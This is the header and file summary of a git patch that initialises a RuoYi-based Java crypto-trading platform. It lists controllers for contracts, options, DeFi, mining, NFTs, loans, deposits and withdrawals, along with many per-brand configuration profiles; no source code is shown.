From d732aa105c22afc6a9210e9e171c0257241e4bbc Mon Sep 17 00:00:00 2001 From: "453530270@qq.com" Date: Fri, 2 Aug 2024 20:51:46 +0800 Subject: [PATCH] =?UTF-8?q?=E9=A1=B9=E7=9B=AE=E5=88=9D=E5=A7=8B=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 29 + bin/admin.sh | 153 + bin/api.sh | 153 + bin/clean.bat | 12 + bin/package.bat | 12 + bin/run.bat | 14 + doc/若依环境使用手册.docx | Bin 0 -> 428430 bytes echo2.0启动脚本/admin.sh | 153 + echo2.0启动脚本/api.sh | 153 + pom.xml | 256 + ruoyi-admin/echo2-admin.iml | 318 + ruoyi-admin/pom.xml | 107 + .../main/java/com/ruoyi/AdminApplication.java | 31 + .../com/ruoyi/RuoYiServletInitializer.java | 18 + .../src/main/java/com/ruoyi/TPass.java | 20 + .../com/ruoyi/compent/BeeBuildCompent.java | 141 + .../com/ruoyi/config/RedisStreamConfig.java | 95 + .../com/ruoyi/listen/ListenerMessage.java | 83 + .../main/java/com/ruoyi/web/WebMvcConfig.java | 21 + .../com/ruoyi/web/WhiteIpInterceptor.java | 97 + .../bussiness/DefiActivityController.java | 104 + .../bussiness/DefiOrderController.java | 116 + .../bussiness/DefiRateController.java | 104 + .../bussiness/KlineSymbolController.java | 142 + .../TActivityRechargeController.java | 105 + .../TAgentActivityInfoController.java | 105 + .../bussiness/TAppAddressInfoController.java | 133 + .../bussiness/TAppAssetController.java | 123 + .../bussiness/TAppMailController.java | 95 + .../bussiness/TAppRechargeController.java | 163 + .../bussiness/TAppUserController.java | 285 + .../bussiness/TAppUserDetailController.java | 116 + .../bussiness/TAppWalletRecordController.java | 124 + .../bussiness/TAppuserLoginLogController.java | 108 + .../bussiness/TBotKlineModelController.java | 154 + .../bussiness/TCollectionOrderController.java | 104 + .../bussiness/TContractCoinController.java | 103 + .../bussiness/TContractLossController.java | 108 + .../bussiness/TContractOrderController.java | 116 + .../TContractPositionController.java | 208 + .../bussiness/TCurrencyOrderController.java | 116 + .../bussiness/TCurrencySymbolController.java | 124 + .../TExchangeCoinRecordController.java | 47 + .../bussiness/THelpCenterController.java | 117 + .../bussiness/THelpCenterInfoController.java | 105 + .../bussiness/THomeSetterController.java | 104 + .../bussiness/TLoadOrderController.java | 223 + .../bussiness/TLoadProductController.java | 98 + .../bussiness/TMarketsController.java | 104 + .../bussiness/TMineFinancialController.java | 105 + .../bussiness/TMineOrderController.java | 131 + .../bussiness/TMineOrderDayController.java | 106 + .../bussiness/TMineUserController.java | 105 + .../bussiness/TMingOrderController.java | 116 + .../bussiness/TMingProductController.java | 104 + .../bussiness/TMingProductUserController.java | 91 + .../bussiness/TNftOrderController.java | 104 + .../bussiness/TNftProductController.java | 127 + .../bussiness/TNftSeriesController.java | 114 + .../bussiness/TNoticeController.java | 160 + .../bussiness/TOptionRulesController.java | 120 + .../bussiness/TOwnCoinController.java | 186 + .../bussiness/TOwnCoinOrderController.java | 118 + .../TSecondCoinConfigController.java | 150 + .../TSecondContractOrderController.java | 125 + .../TSecondPeriodConfigController.java | 105 + .../bussiness/TSpontaneousCoinController.java | 125 + .../bussiness/TSymbolManageController.java | 146 + .../bussiness/TSymbolsController.java | 104 + .../bussiness/TUserBankController.java | 98 + .../TUserSymbolAddressController.java | 120 + .../bussiness/TWithdrawController.java | 237 + .../bussiness/TimeZoneController.java | 34 + .../bussiness/UserStatisticsController.java | 91 + .../callback/MarketCallBackController.java | 79 + .../controller/common/CaptchaController.java | 94 + .../controller/common/CommonController.java | 240 + .../controller/monitor/CacheController.java | 120 + .../controller/monitor/ServerController.java | 27 + .../monitor/SysLogininforController.java | 82 + .../monitor/SysOperlogController.java | 69 + .../monitor/SysUserOnlineController.java | 83 + .../system/SysConfigController.java | 133 + .../controller/system/SysDeptController.java | 132 + .../system/SysDictDataController.java | 137 + .../system/SysDictTypeController.java | 131 + .../controller/system/SysIndexController.java | 29 + .../controller/system/SysLoginController.java | 211 + .../controller/system/SysMenuController.java | 142 + .../system/SysNoticeController.java | 91 + .../controller/system/SysPostController.java | 129 + .../system/SysProfileController.java | 151 + .../system/SysRegisterController.java | 38 + .../controller/system/SysRoleController.java | 262 + .../system/SysSettingController.java | 265 + .../system/SysStatisticsController.java | 45 + .../controller/system/SysUserController.java | 330 + .../web/controller/tool/TestController.java | 183 + .../ruoyi/web/core/config/SwaggerConfig.java | 125 + .../ruoyi/web/lifecycle/MySmartLifecycle.java | 73 + .../META-INF/spring-devtools.properties | 1 + .../src/main/resources/application-aams.yml | 95 + .../main/resources/application-bitbyex.yml | 96 + .../src/main/resources/application-bitfly.yml | 95 + .../main/resources/application-bitmake.yml | 96 + .../src/main/resources/application-bityc.yml | 95 + .../main/resources/application-bkfcoin.yml | 96 + .../src/main/resources/application-cmwoin.yml | 96 + .../main/resources/application-coinang.yml | 96 + .../resources/application-coinmarketcap.yml | 96 + .../main/resources/application-coinsexpto.yml | 95 + .../src/main/resources/application-das.yml | 95 + .../main/resources/application-dentcoin.yml | 96 + .../main/resources/application-dev-new.yml | 95 + .../src/main/resources/application-dev.yml | 99 + .../src/main/resources/application-dex.yml | 95 + .../src/main/resources/application-ebc.yml | 96 + .../main/resources/application-etfinex.yml | 95 + .../src/main/resources/application-fx.yml | 95 + .../main/resources/application-gatedefi.yml | 95 + .../main/resources/application-gemini2.yml | 96 + .../src/main/resources/application-gmdoin.yml | 96 + .../src/main/resources/application-gmmoin.yml | 96 + .../src/main/resources/application-gmtoin.yml | 96 + .../main/resources/application-gmtoin2.yml | 96 + .../src/main/resources/application-hfm.yml | 96 + .../src/main/resources/application-hfm2.yml | 95 + .../src/main/resources/application-idsst.yml | 95 + .../src/main/resources/application-kabit.yml | 96 + .../main/resources/application-latcoin.yml | 96 + .../src/main/resources/application-math.yml | 96 + .../src/main/resources/application-paxpay.yml | 96 + .../main/resources/application-robinhood2.yml | 95 + .../src/main/resources/application-rxce.yml | 95 + .../src/main/resources/application-spark.yml | 95 + .../src/main/resources/application-terra.yml | 95 + .../src/main/resources/application-ticbit.yml | 96 + .../main/resources/application-tokencan.yml | 95 + .../resources/application-trustwallet.yml | 95 + .../src/main/resources/application.yml | 139 + ruoyi-admin/src/main/resources/banner.txt | 24 + .../main/resources/i18n/messages.properties | 39 + .../resources/i18n/messages_zh.properties | 150 + ruoyi-admin/src/main/resources/logback.xml | 93 + .../main/resources/mybatis/mybatis-config.xml | 20 + ruoyi-api/echo2-api.iml | 315 + ruoyi-api/pom.xml | 102 + .../main/java/com/ruoyi/ApiApplication.java | 30 + ruoyi-api/src/main/java/com/ruoyi/Atest.java | 231 + .../com/ruoyi/RuoYiServletInitializer.java | 18 + .../com/ruoyi/config/RedisStreamConfig.java | 98 + .../com/ruoyi/listener/ListenerMessage.java | 77 + .../java/com/ruoyi/task/BianaceWSTask.java | 189 + .../java/com/ruoyi/task/BotKlineTask.java | 129 + .../controller/app/TCustomerController.java | 55 + .../web/controller/app/TDictController.java | 50 + .../web/controller/app/TMarketController.java | 97 + .../controller/app/TNoticeTopController.java | 60 + .../controller/blockcc/BlockccController.java | 83 + .../bussiness/ApiDefiController.java | 95 + .../TActivityRechargeController.java | 44 + .../TAgentActivityInfoController.java | 71 + .../bussiness/TAppAssetController.java | 67 + .../bussiness/TAppMailController.java | 63 + .../bussiness/TAppRechargeController.java | 149 + .../bussiness/TAppUserController.java | 673 + .../bussiness/TAppWalletRecordController.java | 24 + .../bussiness/TAppWithdrawController.java | 134 + .../bussiness/TContractCoinController.java | 53 + .../bussiness/TContractLossController.java | 71 + .../bussiness/TContractOrderController.java | 88 + .../TContractPositionController.java | 116 + .../bussiness/TCurrencyOrderController.java | 160 + .../bussiness/TCurrencySymbolController.java | 89 + .../TExchangeCoinRecordController.java | 152 + .../bussiness/THelpCenterController.java | 45 + .../bussiness/THelpCenterInfoController.java | 51 + .../bussiness/THomeSetterController.java | 48 + .../bussiness/TLoadOrderController.java | 143 + .../bussiness/TLoadProductController.java | 68 + .../bussiness/TMineFinancialController.java | 105 + .../bussiness/TMineOrderController.java | 80 + .../bussiness/TMingOrderController.java | 128 + .../bussiness/TMingProductController.java | 77 + .../bussiness/TNftOrderController.java | 60 + .../bussiness/TNftProductController.java | 63 + .../bussiness/TNftSeriesController.java | 45 + .../bussiness/TNoticeController.java | 167 + .../bussiness/TOptionRulesController.java | 54 + .../bussiness/TOwnCoinController.java | 58 + .../bussiness/TOwnCoinOrderController.java | 76 + .../TSecondCoinConfigController.java | 51 + .../TSecondContractOrderController.java | 71 + .../TSecondPeriodConfigController.java | 41 + .../bussiness/TSymbolManageController.java | 52 + .../bussiness/TUserBankController.java | 87 + .../bussiness/TUserCoinController.java | 78 + .../bussiness/TimeZoneController.java | 28 + .../controller/common/ApiBaseController.java | 212 + .../controller/common/CaptchaController.java | 94 + .../controller/common/CommonController.java | 457 + .../recall/RechargeRecallController.java | 225 + .../recall/WithdrawRecallController.java | 149 + .../web/controller/tool/TestController.java | 183 + .../web/core/config/LanguageLocalConfig.java | 49 + .../ruoyi/web/core/config/SwaggerConfig.java | 125 + .../ruoyi/web/lifecycle/MySmartLifecycle.java | 56 + .../com/ruoyi/websocket/SocketThreadRun.java | 29 + .../ruoyi/websocket/WebSocketConfigdd.java | 144 + .../com/ruoyi/websocket/WebSocketRunner.java | 60 + .../ruoyi/websocket/WebSocketSubscriber.java | 221 + .../META-INF/spring-devtools.properties | 1 + .../src/main/resources/application-aams.yml | 95 + .../main/resources/application-bitbyex.yml | 96 + .../src/main/resources/application-bitfly.yml | 95 + .../main/resources/application-bitmake.yml | 95 + .../src/main/resources/application-bityc.yml | 95 + .../main/resources/application-bkfcoin.yml | 96 + .../src/main/resources/application-cmwoin.yml | 96 + .../main/resources/application-coinang.yml | 96 + .../resources/application-coinmarketcap.yml | 95 + .../main/resources/application-coinsexpto.yml | 95 + .../src/main/resources/application-das.yml | 95 + .../main/resources/application-dentcoin.yml | 95 + .../main/resources/application-dev-new.yml | 95 + .../src/main/resources/application-dev.yml | 98 + .../src/main/resources/application-dex.yml | 95 + .../src/main/resources/application-ebc.yml | 96 + .../main/resources/application-etfinex.yml | 94 + .../src/main/resources/application-fx.yml | 95 + .../main/resources/application-gatedefi.yml | 95 + .../main/resources/application-gemini2.yml | 95 + .../src/main/resources/application-gmdoin.yml | 94 + .../src/main/resources/application-gmmoin.yml | 95 + .../src/main/resources/application-gmtoin.yml | 96 + .../main/resources/application-gmtoin2.yml | 96 + .../src/main/resources/application-hfm.yml | 96 + .../src/main/resources/application-hfm2.yml | 95 + .../src/main/resources/application-idsst.yml | 95 + .../src/main/resources/application-kabit.yml | 95 + .../main/resources/application-latcoin.yml | 96 + .../src/main/resources/application-math.yml | 96 + .../src/main/resources/application-paxpay.yml | 95 + .../main/resources/application-robinhood2.yml | 94 + .../src/main/resources/application-rxce.yml | 95 + .../src/main/resources/application-spark.yml | 95 + .../src/main/resources/application-terra.yml | 94 + .../src/main/resources/application-ticbit.yml | 96 + .../main/resources/application-tokencan.yml | 94 + .../resources/application-trustwallet.yml | 95 + .../src/main/resources/application-wirex.yml | 94 + ruoyi-api/src/main/resources/application.yml | 132 + ruoyi-api/src/main/resources/banner.txt | 24 + .../main/resources/i18n/messages.properties | 153 + .../resources/i18n/messages_de.properties | 164 + .../resources/i18n/messages_en.properties | 165 + .../resources/i18n/messages_es.properties | 163 + .../resources/i18n/messages_fr.properties | 164 + .../resources/i18n/messages_ja.properties | 161 + .../resources/i18n/messages_ko.properties | 161 + .../resources/i18n/messages_th.properties | 165 + .../resources/i18n/messages_tw.properties | 170 + .../resources/i18n/messages_vi.properties | 144 + .../resources/i18n/messages_vn.properties | 137 + .../resources/i18n/messages_zh.properties | 170 + ruoyi-api/src/main/resources/logback.xml | 93 + .../main/resources/mybatis/mybatis-config.xml | 20 + .../src/main/resources/static/ip2region.db | Bin 0 -> 9359116 bytes .../src/main/resources/static/ip2region.md | 11 + .../static/templates/bindCodeEmail.ftl | 8 + ruoyi-common/pom.xml | 417 + ruoyi-common/ruoyi-common.iml | 288 + .../ruoyi/common/annotation/Anonymous.java | 19 + .../ruoyi/common/annotation/DataScope.java | 33 + .../ruoyi/common/annotation/DataSource.java | 28 + .../com/ruoyi/common/annotation/Excel.java | 189 + .../com/ruoyi/common/annotation/Excels.java | 18 + .../java/com/ruoyi/common/annotation/Log.java | 51 + .../ruoyi/common/annotation/RateLimiter.java | 40 + .../ruoyi/common/annotation/RepeatSubmit.java | 31 + .../com/ruoyi/common/config/RuoYiConfig.java | 148 + .../ruoyi/common/constant/CacheConstants.java | 74 + .../com/ruoyi/common/constant/Constants.java | 142 + .../ruoyi/common/constant/GenConstants.java | 117 + .../com/ruoyi/common/constant/HttpStatus.java | 94 + .../common/constant/ScheduleConstants.java | 50 + .../ruoyi/common/constant/UserConstants.java | 78 + .../core/controller/BaseController.java | 210 + .../ruoyi/common/core/domain/AjaxResult.java | 218 + .../ruoyi/common/core/domain/BaseEntity.java | 141 + .../common/core/domain/OrderBySetting.java | 5 + .../java/com/ruoyi/common/core/domain/R.java | 115 + .../ruoyi/common/core/domain/TreeEntity.java | 79 + .../ruoyi/common/core/domain/TreeSelect.java | 77 + .../common/core/domain/entity/MemberInfo.java | 185 + .../common/core/domain/entity/SysDept.java | 203 + .../core/domain/entity/SysDictData.java | 187 + .../core/domain/entity/SysDictType.java | 96 + .../common/core/domain/entity/SysMenu.java | 259 + .../common/core/domain/entity/SysRole.java | 251 + .../common/core/domain/entity/SysUser.java | 359 + .../common/core/domain/entity/TimeZone.java | 17 + .../common/core/domain/model/LoginBody.java | 79 + .../common/core/domain/model/LoginUser.java | 266 + .../core/domain/model/RegisterBody.java | 11 + .../ruoyi/common/core/page/PageDomain.java | 101 + .../ruoyi/common/core/page/TableDataInfo.java | 85 + .../ruoyi/common/core/page/TableSupport.java | 56 + .../ruoyi/common/core/redis/RedisCache.java | 286 + .../ruoyi/common/core/text/CharsetKit.java | 86 + .../com/ruoyi/common/core/text/Convert.java | 1000 ++ .../ruoyi/common/core/text/StrFormatter.java | 92 + .../com/ruoyi/common/enums/AssetEnum.java | 43 + .../ruoyi/common/enums/AuditStatusEnum.java | 45 + .../ruoyi/common/enums/BusinessStatus.java | 20 + .../com/ruoyi/common/enums/BusinessType.java | 59 + .../com/ruoyi/common/enums/CachePrefix.java | 122 + .../common/enums/CandlestickIntervalEnum.java | 64 + .../com/ruoyi/common/enums/ClassifyEnum.java | 30 + .../com/ruoyi/common/enums/CommonEnum.java | 31 + .../common/enums/ContractOrderStatusEmun.java | 22 + .../enums/CountryCodeAndPhoneCodeEnum.java | 308 + .../ruoyi/common/enums/DataSourceType.java | 19 + .../com/ruoyi/common/enums/HttpMethod.java | 36 + .../com/ruoyi/common/enums/LimitType.java | 20 + .../common/enums/LoginOrRegisterEnum.java | 45 + .../ruoyi/common/enums/NoticeTypeEnum.java | 127 + .../com/ruoyi/common/enums/OperatorType.java | 24 + .../ruoyi/common/enums/OptionRulesEnum.java | 64 + .../java/com/ruoyi/common/enums/OssEnum.java | 15 + .../common/enums/RechargeTypeUncEmun.java | 40 + .../common/enums/RecoenOrderStatusEmun.java | 22 + .../com/ruoyi/common/enums/RecordEnum.java | 82 + .../com/ruoyi/common/enums/SettingEnum.java | 79 + .../ruoyi/common/enums/ThirdTypeUncEmun.java | 37 + .../com/ruoyi/common/enums/UserBlackEnum.java | 37 + .../ruoyi/common/enums/UserCodeTypeEnum.java | 38 + .../com/ruoyi/common/enums/UserStatus.java | 30 + .../com/ruoyi/common/enums/WalletType.java | 18 + .../common/enums/WithdrawTypeUncEmun.java | 37 + .../java/com/ruoyi/common/eth/Account.java | 18 + .../java/com/ruoyi/common/eth/Contract.java | 20 + .../com/ruoyi/common/eth/ContractConfig.java | 21 + .../java/com/ruoyi/common/eth/EthConvert.java | 66 + .../java/com/ruoyi/common/eth/EthUtils.java | 541 + .../com/ruoyi/common/eth/EtherscanApi.java | 99 + .../com/ruoyi/common/eth/MessageResult.java | 62 + .../java/com/ruoyi/common/eth/Payment.java | 79 + .../common/exception/DemoModeException.java | 15 + .../common/exception/GlobalException.java | 58 + .../common/exception/ServiceException.java | 74 + .../ruoyi/common/exception/UtilException.java | 26 + .../common/exception/base/BaseException.java | 97 + .../common/exception/file/FileException.java | 19 + .../FileNameLengthLimitExceededException.java | 16 + .../file/FileSizeLimitExceededException.java | 16 + .../exception/file/FileUploadException.java | 61 + .../file/InvalidExtensionException.java | 80 + .../common/exception/job/TaskException.java | 34 + .../exception/user/BlackListException.java | 16 + .../exception/user/CaptchaException.java | 16 + .../user/CaptchaExpireException.java | 16 + .../common/exception/user/UserException.java | 18 + .../user/UserNotExistsException.java | 16 + .../user/UserPasswordNotMatchException.java | 16 + ...UserPasswordRetryLimitExceedException.java | 16 + .../filter/PropertyPreExcludeFilter.java | 24 + .../ruoyi/common/filter/RepeatableFilter.java | 52 + .../filter/RepeatedlyRequestWrapper.java | 76 + .../com/ruoyi/common/filter/XssFilter.java | 75 + .../filter/XssHttpServletRequestWrapper.java | 111 + .../com/ruoyi/common/huobi/HuobiConfig.java | 28 + .../main/java/com/ruoyi/common/trc/TRC.java | 10 + .../ruoyi/common/trc/TransactionResult.java | 20 + .../com/ruoyi/common/trc/Trc20Contract.java | 252 + .../com/ruoyi/common/trc/Trc20Service.java | 110 + .../java/com/ruoyi/common/trc/TronUtils.java | 166 + .../ruoyi/common/utils/AliOssCloudUtil.java | 230 + .../java/com/ruoyi/common/utils/Arith.java | 114 + .../ruoyi/common/utils/BigDecimalUtil.java | 145 + .../common/utils/ChineseCharacterUtil.java | 86 + .../java/com/ruoyi/common/utils/DateUtil.java | 329 + .../com/ruoyi/common/utils/DateUtils.java | 316 + .../com/ruoyi/common/utils/DictUtils.java | 186 + .../com/ruoyi/common/utils/ExceptionUtil.java | 39 + .../common/utils/GoogleAuthenticator.java | 147 + .../java/com/ruoyi/common/utils/LogUtils.java | 18 + .../com/ruoyi/common/utils/MessageUtils.java | 26 + .../com/ruoyi/common/utils/OrderUtils.java | 55 + .../com/ruoyi/common/utils/PageUtils.java | 38 + .../com/ruoyi/common/utils/QrCodeUtil.java | 279 + .../com/ruoyi/common/utils/RedisUtil.java | 74 + .../com/ruoyi/common/utils/RequestUtil.java | 125 + .../com/ruoyi/common/utils/SecurityUtils.java | 120 + .../com/ruoyi/common/utils/ServletUtils.java | 218 + .../com/ruoyi/common/utils/SplitListUtil.java | 82 + .../ruoyi/common/utils/SpringContextUtil.java | 58 + .../com/ruoyi/common/utils/StringUtils.java | 614 + .../java/com/ruoyi/common/utils/TOTP.java | 231 + .../java/com/ruoyi/common/utils/Threads.java | 99 + .../ruoyi/common/utils/TranslatorUtil.java | 185 + .../com/ruoyi/common/utils/UdunUtils.java | 51 + .../java/com/ruoyi/common/utils/UidUtils.java | 28 + .../ruoyi/common/utils/bean/BeanUtils.java | 110 + .../common/utils/bean/BeanValidators.java | 24 + .../common/utils/file/FileTypeUtils.java | 76 + .../common/utils/file/FileUploadUtils.java | 232 + .../ruoyi/common/utils/file/FileUtils.java | 291 + .../ruoyi/common/utils/file/ImageUtils.java | 98 + .../common/utils/file/MimeTypeUtils.java | 59 + .../ruoyi/common/utils/html/EscapeUtil.java | 167 + .../ruoyi/common/utils/html/HTMLFilter.java | 570 + .../ruoyi/common/utils/http/HttpHelper.java | 55 + .../ruoyi/common/utils/http/HttpUtils.java | 317 + .../ruoyi/common/utils/ip/AddressUtils.java | 56 + .../com/ruoyi/common/utils/ip/IpUtils.java | 439 + .../common/utils/poi/ExcelHandlerAdapter.java | 19 + .../com/ruoyi/common/utils/poi/ExcelUtil.java | 1767 +++ .../common/utils/reflect/ReflectUtils.java | 410 + .../com/ruoyi/common/utils/sign/Base64.java | 291 + .../com/ruoyi/common/utils/sign/Md5Utils.java | 67 + .../ruoyi/common/utils/sms/SmsSenderUtil.java | 134 + .../common/utils/spring/SpringUtils.java | 158 + .../com/ruoyi/common/utils/sql/SqlUtil.java | 61 + .../utils/ucontract/ContractComputerUtil.java | 113 + .../com/ruoyi/common/utils/uuid/IdUtils.java | 49 + .../java/com/ruoyi/common/utils/uuid/Seq.java | 86 + .../com/ruoyi/common/utils/uuid/UUID.java | 484 + .../main/java/com/ruoyi/common/xss/Xss.java | 27 + .../com/ruoyi/common/xss/XssValidator.java | 34 + ruoyi-framework/pom.xml | 64 + ruoyi-framework/ruoyi-framework.iml | 286 + .../framework/aspectj/DataScopeAspect.java | 174 + .../framework/aspectj/DataSourceAspect.java | 72 + .../ruoyi/framework/aspectj/LogAspect.java | 249 + .../framework/aspectj/RateLimiterAspect.java | 89 + .../framework/config/ApplicationConfig.java | 30 + .../ruoyi/framework/config/CaptchaConfig.java | 83 + .../ruoyi/framework/config/DruidConfig.java | 126 + .../config/FastJson2JsonRedisSerializer.java | 48 + .../ruoyi/framework/config/FilterConfig.java | 58 + .../framework/config/KaptchaTextCreator.java | 68 + .../framework/config/MybatisPlusConfig.java | 61 + .../ruoyi/framework/config/RedisConfig.java | 69 + .../framework/config/ResourcesConfig.java | 73 + .../ruoyi/framework/config/SaTokenConfig.java | 46 + .../framework/config/SecurityConfig.java | 150 + .../ruoyi/framework/config/ServerConfig.java | 32 + .../framework/config/ThreadPoolConfig.java | 63 + .../framework/config/WebSocketConfigOne.java | 23 + .../config/properties/DruidProperties.java | 89 + .../properties/PermitAllUrlProperties.java | 73 + .../datasource/DynamicDataSource.java | 26 + .../DynamicDataSourceContextHolder.java | 45 + .../ethws/WebSocketClientFactory.java | 154 + .../interceptor/RepeatSubmitInterceptor.java | 55 + .../impl/SameUrlDataInterceptor.java | 110 + .../ruoyi/framework/manager/AsyncManager.java | 55 + .../framework/manager/ShutdownManager.java | 39 + .../manager/blockcc/BlockccManager.java | 107 + .../manager/factory/AsyncFactory.java | 102 + .../context/AuthenticationContextHolder.java | 28 + .../context/PermissionContextHolder.java | 27 + .../filter/JwtAuthenticationTokenFilter.java | 44 + .../handle/AuthenticationEntryPointImpl.java | 34 + .../handle/LogoutSuccessHandlerImpl.java | 52 + .../framework/web/domain/KlineParamVO.java | 18 + .../ruoyi/framework/web/domain/Server.java | 240 + .../framework/web/domain/Ticker24hVO.java | 16 + .../framework/web/domain/server/Cpu.java | 101 + .../framework/web/domain/server/Jvm.java | 130 + .../framework/web/domain/server/Mem.java | 61 + .../framework/web/domain/server/Sys.java | 84 + .../framework/web/domain/server/SysFile.java | 114 + .../web/exception/GlobalExceptionHandler.java | 114 + .../framework/web/service/BlockccService.java | 571 + .../framework/web/service/HuobiService.java | 14 + .../web/service/PermissionService.java | 168 + .../web/service/SysLoginService.java | 186 + .../web/service/SysPasswordService.java | 94 + .../web/service/SysPermissionService.java | 83 + .../web/service/SysRegisterService.java | 115 + .../framework/web/service/TokenService.java | 226 + .../web/service/UserDetailsServiceImpl.java | 65 + ruoyi-generator/pom.xml | 40 + ruoyi-generator/ruoyi-generator.iml | 280 + .../com/ruoyi/generator/config/GenConfig.java | 73 + .../generator/controller/GenController.java | 214 + .../com/ruoyi/generator/domain/GenTable.java | 372 + .../generator/domain/GenTableColumn.java | 373 + .../mapper/GenTableColumnMapper.java | 60 + .../generator/mapper/GenTableMapper.java | 83 + .../service/GenTableColumnServiceImpl.java | 68 + .../service/GenTableServiceImpl.java | 521 + .../service/IGenTableColumnService.java | 44 + .../generator/service/IGenTableService.java | 121 + .../com/ruoyi/generator/util/GenUtils.java | 257 + .../generator/util/VelocityInitializer.java | 34 + .../ruoyi/generator/util/VelocityUtils.java | 402 + .../src/main/resources/generator.yml | 10 + .../mapper/generator/GenTableColumnMapper.xml | 127 + .../mapper/generator/GenTableMapper.xml | 202 + .../main/resources/vm/java/controller.java.vm | 115 + .../src/main/resources/vm/java/domain.java.vm | 55 + .../src/main/resources/vm/java/mapper.java.vm | 91 + .../main/resources/vm/java/service.java.vm | 62 + .../resources/vm/java/serviceImpl.java.vm | 169 + .../main/resources/vm/java/sub-domain.java.vm | 76 + .../src/main/resources/vm/js/api.js.vm | 44 + .../src/main/resources/vm/sql/sql.vm | 22 + .../main/resources/vm/vue/index-tree.vue.vm | 505 + .../src/main/resources/vm/vue/index.vue.vm | 602 + .../resources/vm/vue/v3/index-tree.vue.vm | 474 + .../src/main/resources/vm/vue/v3/index.vue.vm | 590 + .../src/main/resources/vm/vue/v3/readme.txt | 1 + .../src/main/resources/vm/xml/mapper.xml.vm | 135 + ruoyi-quartz/pom.xml | 44 + ruoyi-quartz/ruoyi-quartz.iml | 281 + .../ruoyi/quartz/config/ScheduleConfig.java | 57 + .../quartz/controller/SysJobController.java | 185 + .../controller/SysJobLogController.java | 92 + .../java/com/ruoyi/quartz/domain/SysJob.java | 171 + .../com/ruoyi/quartz/domain/SysJobLog.java | 155 + .../ruoyi/quartz/mapper/SysJobLogMapper.java | 64 + .../com/ruoyi/quartz/mapper/SysJobMapper.java | 67 + .../quartz/service/ISysJobLogService.java | 56 + .../ruoyi/quartz/service/ISysJobService.java | 102 + .../service/impl/SysJobLogServiceImpl.java | 87 + .../service/impl/SysJobServiceImpl.java | 261 + .../com/ruoyi/quartz/task/CollectionTask.java | 51 + .../ruoyi/quartz/task/ContractOrderTask.java | 175 + .../quartz/task/ContractPositionTask.java | 240 + .../ruoyi/quartz/task/CurrencyOrderTask.java | 218 + .../com/ruoyi/quartz/task/DefiRateTask.java | 85 + .../ruoyi/quartz/task/MineFinancialTask.java | 194 + .../com/ruoyi/quartz/task/MingOrderTask.java | 133 + .../com/ruoyi/quartz/task/OwnCoinTask.java | 143 + .../com/ruoyi/quartz/task/QueryAddreUsdt.java | 49 + .../ruoyi/quartz/task/QueryUsdtAllowed.java | 87 + .../ruoyi/quartz/task/SecondContractTask.java | 318 + .../ruoyi/quartz/task/TaskExecutePool.java | 30 + .../ruoyi/quartz/util/AbstractQuartzJob.java | 107 + .../java/com/ruoyi/quartz/util/CronUtils.java | 63 + .../com/ruoyi/quartz/util/JobInvokeUtil.java | 183 + .../QuartzDisallowConcurrentExecution.java | 21 + .../ruoyi/quartz/util/QuartzJobExecution.java | 19 + .../com/ruoyi/quartz/util/ScheduleUtils.java | 141 + .../mapper/quartz/SysJobLogMapper.xml | 93 + .../resources/mapper/quartz/SysJobMapper.xml | 111 + ruoyi-system/pom.xml | 28 + ruoyi-system/ruoyi-system.iml | 278 + .../ruoyi/bussiness/domain/DefiActivity.java | 58 + .../com/ruoyi/bussiness/domain/DefiOrder.java | 56 + .../com/ruoyi/bussiness/domain/DefiRate.java | 48 + .../ruoyi/bussiness/domain/KlineSymbol.java | 71 + .../ruoyi/bussiness/domain/MarketTicker.java | 38 + .../ruoyi/bussiness/domain/SendPhoneDto.java | 20 + .../ruoyi/bussiness/domain/SymbolPrice.java | 11 + .../bussiness/domain/TActivityRecharge.java | 44 + .../bussiness/domain/TAgentActivityInfo.java | 64 + .../bussiness/domain/TAppAddressInfo.java | 86 + .../com/ruoyi/bussiness/domain/TAppAsset.java | 72 + .../com/ruoyi/bussiness/domain/TAppMail.java | 67 + .../ruoyi/bussiness/domain/TAppRecharge.java | 139 + .../com/ruoyi/bussiness/domain/TAppUser.java | 161 + .../bussiness/domain/TAppUserDetail.java | 127 + .../bussiness/domain/TAppWalletRecord.java | 117 + .../bussiness/domain/TAppuserLoginLog.java | 69 + .../bussiness/domain/TBotKlineModel.java | 73 + .../bussiness/domain/TBotKlineModelInfo.java | 57 + .../bussiness/domain/TCollectionOrder.java | 72 + .../ruoyi/bussiness/domain/TContractCoin.java | 189 + .../ruoyi/bussiness/domain/TContractLoss.java | 102 + .../bussiness/domain/TContractOrder.java | 126 + .../bussiness/domain/TContractPosition.java | 166 + .../bussiness/domain/TCurrencyOrder.java | 109 + .../bussiness/domain/TCurrencySymbol.java | 134 + .../bussiness/domain/TExchangeCoinRecord.java | 88 + .../ruoyi/bussiness/domain/THelpCenter.java | 56 + .../bussiness/domain/THelpCenterInfo.java | 60 + .../ruoyi/bussiness/domain/THomeSetter.java | 75 + .../ruoyi/bussiness/domain/TLoadOrder.java | 118 + .../ruoyi/bussiness/domain/TLoadProduct.java | 68 + .../com/ruoyi/bussiness/domain/TMarkets.java | 123 + .../bussiness/domain/TMineFinancial.java | 127 + .../ruoyi/bussiness/domain/TMineOrder.java | 125 + .../ruoyi/bussiness/domain/TMineOrderDay.java | 59 + .../com/ruoyi/bussiness/domain/TMineUser.java | 38 + .../ruoyi/bussiness/domain/TMingOrder.java | 127 + .../ruoyi/bussiness/domain/TMingProduct.java | 116 + .../bussiness/domain/TMingProductUser.java | 59 + .../com/ruoyi/bussiness/domain/TNftOrder.java | 56 + .../ruoyi/bussiness/domain/TNftProduct.java | 95 + .../ruoyi/bussiness/domain/TNftSeries.java | 69 + .../com/ruoyi/bussiness/domain/TNotice.java | 105 + .../ruoyi/bussiness/domain/TOptionRules.java | 54 + .../com/ruoyi/bussiness/domain/TOwnCoin.java | 103 + .../ruoyi/bussiness/domain/TOwnCoinOrder.java | 72 + .../domain/TOwnCoinSubscribeOrder.java | 73 + .../bussiness/domain/TSecondCoinConfig.java | 85 + .../domain/TSecondContractOrder.java | 128 + .../bussiness/domain/TSecondPeriodConfig.java | 66 + .../bussiness/domain/TSpontaneousCoin.java | 60 + .../ruoyi/bussiness/domain/TSymbolManage.java | 69 + .../com/ruoyi/bussiness/domain/TSymbols.java | 93 + .../com/ruoyi/bussiness/domain/TUserBank.java | 74 + .../com/ruoyi/bussiness/domain/TUserCoin.java | 21 + .../bussiness/domain/TUserSymbolAddress.java | 42 + .../com/ruoyi/bussiness/domain/TWithdraw.java | 189 + 